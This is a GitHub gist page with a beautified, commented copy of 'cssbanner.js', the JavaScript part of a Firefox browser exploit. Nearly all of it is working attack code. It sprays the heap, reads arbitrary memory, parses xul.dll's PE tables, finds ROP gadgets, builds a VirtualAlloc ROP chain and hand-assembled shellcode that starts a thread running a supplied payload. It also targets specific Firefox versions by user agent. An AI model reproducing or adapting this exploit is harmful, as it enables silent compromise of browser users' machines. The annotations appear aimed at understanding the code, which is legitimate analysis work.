Instantly share code, notes, and snippets.
Forked from kristovatlas/cssbanner-beautified2.js
Last active
December 1, 2016 16:19
-
Star
0
(0)
You must be signed in to star a gist -
Fork
0
(0)
You must be signed in to fork a gist
-
Save pchk/f3bb14c5e021fc56232d06c8c5223236 to your computer and use it in GitHub Desktop.
cleaned up version of cssbanner.js
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//beautified at http://jsbeautifier.org/ with default options | |
//and then manually modified | |
/*jslint bitwise: true */ | |
self.onmessage = function (msg) { | |
var thecode = msg.data; | |
/** | |
* Ostensibly unused function | |
* @param {num} num | |
* @return {string} | |
*/ | |
var pack = function (num) { | |
return String.fromCharCode(num & 65535) + String.fromCharCode(num >> 16); | |
}; | |
/** | |
* Object that accesses memory. | |
* @param {number} base_addr - Base address in memory | |
* @param {function} read_function - A function that reads from memory | |
* @param {function} write_function - Dead code. ignore. I did not remove it as an argument because I wasn't sure how doing so would impact memory management. | |
*/ | |
function Memory(base_addr, read_function, write_function) { | |
/** | |
* @param {number} num | |
* @return {number} | |
*/ | |
this.abs_read = function (num) { | |
if (num >= base_addr) { | |
num = read_function(num - base_addr); | |
} else { | |
num = 4294967295 - base_addr + 1 + num; | |
num = read_function(num); | |
} | |
if (num < 0) { | |
return 4294967295 + num + 1; //4294967295 = 2**31 - 1 | |
} | |
return num; | |
}; | |
/** | |
* @param {number} num | |
* @return {number} | |
*/ | |
this.readByte = function (num) { | |
return this.read(num) & 255; //equivalent to (x % 255) I think | |
}; | |
/** | |
* @param {number} num | |
* @return {number} | |
*/ | |
this.readWord = function (num) { | |
return this.read(num) & 65535; //equivalent to (x % 65535) I think | |
}; | |
/** | |
* @param {number} num | |
* @return {number} | |
*/ | |
this.readDword = function (num) { | |
return this.read(num); | |
}; | |
/** | |
* @param {number} num | |
* @return {number} | |
*/ | |
this.read = function (num) { | |
if (num % 4) { | |
//TODO: unravel me | |
var c = this.abs_read(num & 4294967292), | |
d = this.abs_read(num + 4 & 4294967292), | |
e = num % 4; | |
return c >>> 8 * e | d << 8 * (4 - e); | |
} | |
return this.abs_read(num); | |
}; | |
/** | |
* @param {number} num | |
* @return {string} - a string of length 0 or greater | |
*/ | |
this.readStr = function (num) { | |
var b = "", | |
c = 0, | |
d = 0; | |
while (true) { | |
if (32 === c) { | |
return ""; | |
} | |
d = this.readByte(num + c); | |
if (d === 0) { | |
break; | |
} | |
b += String.fromCharCode(d); | |
c += 1; | |
} | |
return b; | |
}; | |
} | |
/** | |
* Portable Executable windows file format | |
* @param b - TODO | |
* @param a - TODO | |
*/ | |
function PE(b, a) { | |
this.mem = b; | |
this.export_table = this.module_base = undefined; | |
this.export_table_size = 0; | |
this.import_table = undefined; | |
this.import_table_size = 0; | |
/** | |
* @param {number} num | |
*/ | |
this.find_module_base = function (num) { | |
num &= 4294901760; | |
while (num) { | |
if (this.mem.readWord(num) === 23117) { //23117 = 0x5a4d which is the magic number for PE files "MZ" | |
this.module_base = num; | |
return num; | |
} | |
num -= 65536; | |
} | |
}; | |
this.resolve_pe_structures = function () { | |
var peFile = this.module_base + this.mem.readWord(this.module_base + 60); | |
if (this.mem.readDword(peFile) !== 17744) { //17744 = 0x4550 or "PE" | |
throw "Bad NT Signature "; | |
} | |
this.pe_file = peFile; | |
this.optional_header = this.pe_file + 36; | |
this.export_directory = this.module_base + this.mem.readDword(this.pe_file + 120); | |
this.export_directory_size = this.mem.readDword(this.pe_file + 124); | |
this.import_directory = this.module_base + this.mem.readDword(this.pe_file + 128); | |
this.import_directory_size = this.mem.readDword(this.pe_file + 132); | |
}; | |
/** | |
* @param str {string} | |
* @param b - TODO | |
*/ | |
this.resolve_imported_function = function (str, b) { | |
if (this.import_directory === undefined) { | |
this.resolve_pe_structures(); | |
} | |
var e = this.import_directory, | |
c = e + this.import_directory_size, | |
d = "", | |
f = 0; | |
while (e < c) { | |
d = this.mem.readStr(this.mem.readDword(e + 12) + this.module_base); | |
if (str.toUpperCase() == d.toUpperCase()) { | |
c = this.mem.readDword(e) + this.module_base; | |
e = this.mem.readDword(e + 16) + this.module_base; | |
d = this.mem.readDword(c); | |
f = 0; | |
while (d !== 0) { | |
if (this.mem.readStr(d + this.module_base + 2).toUpperCase() == b.toUpperCase()) { | |
return this.mem.readDword(e + 4 * f); | |
} | |
f += 1; | |
d = this.mem.readDword(c + 4 * f); | |
} | |
break; | |
} | |
e += 20; | |
} | |
return 0; | |
}; | |
if (a !== undefined) { | |
this.find_module_base(a); | |
} | |
} | |
/** | |
* ROP = Return-Oriented Programming | |
*/ | |
function ROP(b, a) { | |
this.mem = b; | |
this.pe = new PE(b, a); | |
this.pe.resolve_pe_structures(); | |
this.module_base = this.pe.module_base + 4096; | |
this.findSequence = function (a) { | |
var b2 = 0, | |
e = 0, | |
c = 0; | |
while (true) { | |
e = 0; | |
for (c = 0; c < a.length; c += 1) { | |
if (this.mem.readByte(this.module_base + b2 + c) === a[c] && e === c) { | |
e += 1; | |
} else { | |
break; | |
} | |
} | |
if (e === a.length) { | |
return this.module_base + b2; | |
} | |
b2 += 1; | |
} | |
}; | |
this.findStackPivot = function () { | |
return this.findSequence([148, 195]); | |
}; | |
/** | |
* @param {string} a - This param is unused, so not sure why the string "EAX" is passed as arg. | |
*/ | |
this.findPopRet = function (a) { | |
return this.findSequence([88, 195]); | |
}; | |
this.ropChain = function (a, b, e, c) { | |
c = undefined != c ? c : new ArrayBuffer(4096); | |
c = new Uint32Array(c); | |
var d = this.findStackPivot(), | |
f = this.findPopRet("EAX"), | |
g = this.pe.resolve_imported_function("kernel32.dll", "VirtualAlloc"), | |
i = 0; | |
c[0] = f + 1; | |
c[1] = f; | |
c[2] = a + b + 4 * e + 4; | |
c[3] = d; | |
for (i = 0; i < e; i += 1) { | |
c[(b >> 2) + i] = d; | |
} | |
d = (b + 4 >> 2) + e; | |
c[d++] = g; | |
c[d++] = a + (b + 4 * e + 28); | |
c[d++] = a; | |
c[d++] = 4096; | |
c[d++] = 4096; | |
c[d++] = 64; | |
c[d++] = 3435973836; | |
return c; | |
}; | |
} //end ROP | |
var conv = new ArrayBuffer(8), | |
convf64 = new Float64Array(conv), | |
convu32 = new Uint32Array(conv), | |
spr = new Array(400), | |
arrBase = 805306416, | |
ropArrBuf = new ArrayBuffer(4096), | |
o1 = 176, | |
o2 = 256, | |
o3 = 768, | |
o4 = 832, | |
o5 = 864, | |
o6 = 928, | |
o7 = 1024, | |
o8 = 1280, | |
o9 = 1344, | |
o10 = 1376, | |
o11 = 1536, | |
oRop = 1792, | |
memory = new Uint32Array(16), | |
len = memory.length, | |
arr_index = 0, | |
arr_offset = 0, | |
offset = 0, | |
vtable_offset = 300, | |
memarrayloc, | |
i = 0, | |
j = 0, | |
qword2Double = function (b, a) { | |
convu32[0] = b; | |
convu32[1] = a; | |
return convf64[0]; | |
}, | |
doubleFromFloat = function (b, a) { | |
convf64[0] = b; | |
return convu32[a]; | |
}, | |
fzero = qword2Double(0, 0), | |
sprayArrays = function () { | |
var b = new Array(262138), | |
a = 0; | |
for (a = 0; 262138 > a; a += 1) { | |
b[a] = fzero; | |
} | |
for (a = 0; a < b.length; a += 512) { | |
b[a + 1] = memory; | |
b[a + 21] = qword2Double(0, 2); | |
b[a + 14] = qword2Double(arrBase + o1, 0); | |
b[a + (o1 + 8) / 8] = qword2Double(arrBase + o2, 0); | |
b[a + o2 / 8] = qword2Double(2, 0); | |
b[a + (o2 + 8) / 8] = qword2Double(arrBase + o3, arrBase + 13); | |
b[a + o3 / 8] = qword2Double(16, 0); | |
b[a + (o3 + 24) / 8] = qword2Double(2, 0); | |
b[a + (o3 + 32) / 8] = qword2Double(arrBase + o5, arrBase + o4); | |
b[a + o4 / 8] = qword2Double(0, arrBase + o6); | |
b[a + o5 / 8] = qword2Double(arrBase + o7, 0); | |
b[a + (o6 + 8) / 8] = qword2Double(2, 0); | |
b[a + (o7 + 8) / 8] = qword2Double(arrBase + o7 + 16, 0); | |
b[a + (o7 + 16) / 8] = qword2Double(0, 4026531840); | |
b[a + (o7 + 32) / 8] = qword2Double(0, 3220176896); | |
b[a + (o7 + 48) / 8] = qword2Double(2, 0); | |
b[a + (o7 + 56) / 8] = qword2Double(1, 0); | |
b[a + (o7 + 96) / 8] = qword2Double(arrBase + o8, arrBase + o8); | |
b[a + (o7 + 112) / 8] = qword2Double(arrBase + o9, arrBase + o9 + 16); | |
b[a + (o7 + 168) / 8] = qword2Double(0, 2); | |
b[a + o9 / 8] = qword2Double(arrBase + o10, 2); | |
b[a + o10 / 8] = qword2Double(2, 0); | |
b[a + (o10 + 8) / 8] = qword2Double(0, 268435456); | |
b[a + (o11 + 8) / 8] = qword2Double(arrBase + o11 + 16, 0); | |
b[a + (o11 + 16) / 8] = qword2Double(0, 4026531840); | |
b[a + (o11 + 32) / 8] = qword2Double(0, 3220176896); | |
b[a + (o11 + 48) / 8] = qword2Double(2, 0); | |
b[a + (o11 + 56) / 8] = qword2Double(1, 0); | |
b[a + (o11 + 96) / 8] = qword2Double(arrBase + o8, arrBase + o8); | |
b[a + (o11 + 112) / 8] = qword2Double(arrBase + o9, arrBase + o9 + 16); | |
b[a + (o11 + 168) / 8] = qword2Double(0, 2); | |
} | |
for (a = 0; a < spr.length; a += 1) { | |
spr[a] = b.slice(0); | |
} | |
}; | |
if (/.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)) { | |
vtable_offset = 304; | |
} else if (/.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)) { | |
vtable_offset = 308; | |
} | |
if (thecode.length % 2 !== 0) { | |
thecode += "\u9090"; | |
} | |
sprayArrays(); | |
postMessage(arrBase); | |
memarrayloc = undefined; | |
while (memarrayloc === undefined) { | |
for (i = 0; i < spr.length; i += 1) { | |
for (offset = 0; offset < spr[i].length; offset += 512) { | |
if (typeof spr[i][offset + 1] !== "object") { | |
memarrayloc = doubleFromFloat(spr[i][offset + 1], 0); | |
arr_index = i; | |
arr_offset = offset; | |
spr[i][offset + o2 / 8] = qword2Double(65, 0); | |
spr[i][offset + (o2 + 8) / 8] = qword2Double(arrBase + o3, memarrayloc + 27); | |
for (j = 0; 33 > j; j += 1) { | |
spr[i][offset + (o2 + 16) / 8 + j] = qword2Double(memarrayloc + 27, memarrayloc + 27); | |
} | |
spr[i][offset + (o3 + 8) / 8] = qword2Double(0, 0); | |
spr[i][offset + o5 / 8] = qword2Double(arrBase + o11, 0); | |
spr[i][offset + (o7 + 168) / 8] = qword2Double(0, 3); | |
spr[i][offset + (o7 + 88) / 8] = qword2Double(0, 2); | |
break; | |
} | |
} | |
} | |
} | |
//for (memory; memory.length === len;); //probably equivalent to while loop, but haven't tested this | |
//I think these are equivalent, but just in case I've left the for loop in original form in above comment | |
while (memory.length === len) {} | |
var read_function = function(b) { | |
return memory[b / 4] | |
}; | |
var write_function = function(b, a) { //never gets used by Memory constructor | |
memory[b / 4] = a; | |
}; | |
var mem = new Memory(memarrayloc + 48, read_function, write_function), | |
xulPtr = mem.readDword(memarrayloc + 12); | |
spr[arr_index][arr_offset + 1] = ropArrBuf; | |
ropPtr = mem.readDword(arrBase + 8); | |
spr[arr_index][arr_offset + 1] = null; | |
ropBase = mem.readDword(ropPtr + 16); | |
var rop = new ROP(mem, xulPtr); | |
rop.ropChain(ropBase, vtable_offset, 10, ropArrBuf); | |
/* | |
Searching for sequence: | |
8901 MOV DWORD PTR DS:[ECX], EAX | |
C3 RETN | |
*/ | |
var backupESP = rop.findSequence([0x89, 0x01, 0xC3]), | |
ropChain = new Uint32Array(ropArrBuf); | |
ropChain[0] = backupESP; | |
CreateThread = rop.pe.resolve_imported_function("KERNEL32.dll", "CreateThread"); | |
for (var i = 0; i < ropChain.length && 0xCCCCCCCC != ropChain[i]; i++); | |
/* | |
$ ==> > 90 NOP | |
$+1 > 90 NOP | |
$+2 > 81C4 00080000 ADD ESP,800 | |
*/ | |
ropChain[i++] = 0xC4819090; | |
ropChain[i++] = 0x00000800; | |
/* | |
$+8 > 31C0 XOR EAX,EAX | |
$+A > 50 PUSH EAX | |
$+B > 50 PUSH EAX | |
*/ | |
ropChain[i++] = 0x5050C031; | |
/* | |
$+C > 50 PUSH EAX | |
$+D > EB 21 JMP SHORT $+21 ; JMP to CALL at $+30 | |
$+F > 5B POP EBX ; EBX = Virtual Address $+35 | |
*/ | |
ropChain[i++] = 0x5B21EB50; | |
/* | |
$+10 > 53 PUSH EBX | |
$+11 > 50 PUSH EAX | |
$+12 > 50 PUSH EAX | |
$+13 > B8 ???????? MOV EAX, CreateThread | |
*/ | |
ropChain[i++] = 0xB8505053; | |
ropChain[i++] = CreateThread; | |
/* | |
$+18 > FFD0 CALL EAX ; CreateThread(NULL, 0, $+35, NULL, 0, NULL) | |
$+1A > 90 NOP | |
$+1B > B8 ???????? MOV EAX, arrBase + 16 | |
*/ | |
ropChain[i++] = 0xB890D0FF; | |
ropChain[i++] = arrBase + 16; | |
/* | |
$+20 > 8B20 MOV ESP, DWORD PTR DS:[EAX] | |
$+22 > 8B7424 1C MOV ESI, DWORD PTR SS:[ESP+1C] | |
$+26 > BB 10FFFFFF MOV EBX, -0F0 | |
$+2B > 29DC SUB ESP, EBX | |
$+2D > C3 RETN | |
$+2E > 90 NOP | |
$+2F > 90 NOP | |
*/ | |
ropChain[i++] = 0x748B208B; | |
ropChain[i++] = 0x10BB1C24; | |
ropChain[i++] = 0x29FFFFFF; | |
ropChain[i++] = 0x9090C3DC; | |
/* | |
$+30 > E8 DAFFFFFF CALL $-26 | |
$+35 > 90 NOP ; New thread started here | |
$+36 > 90 NOP | |
$+37 > 90 NOP | |
*/ | |
ropChain[i++] = 0xFFFFDAE8; | |
ropChain[i++] = 0x909090FF; | |
for (var j = 0; j < thecode.length; j += 2) { | |
ropChain[i++] = thecode.charCodeAt(j) + 65536 * thecode.charCodeAt(j + 1); | |
} | |
spr[arr_index][arr_offset] = qword2Double(arrBase + 16, 0); | |
spr[arr_index][arr_offset + 3] = qword2Double(0, 256); | |
spr[arr_index][arr_offset + 2] = qword2Double(ropBase, 0); | |
spr[arr_index][arr_offset + (o11 + 168) / 8] = qword2Double(0, 3); | |
spr[arr_index][arr_offset + (o11 + 88) / 8] = qword2Double(0, 2); | |
postMessage("GREAT SUCCESS "); | |
}; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Nice. :-)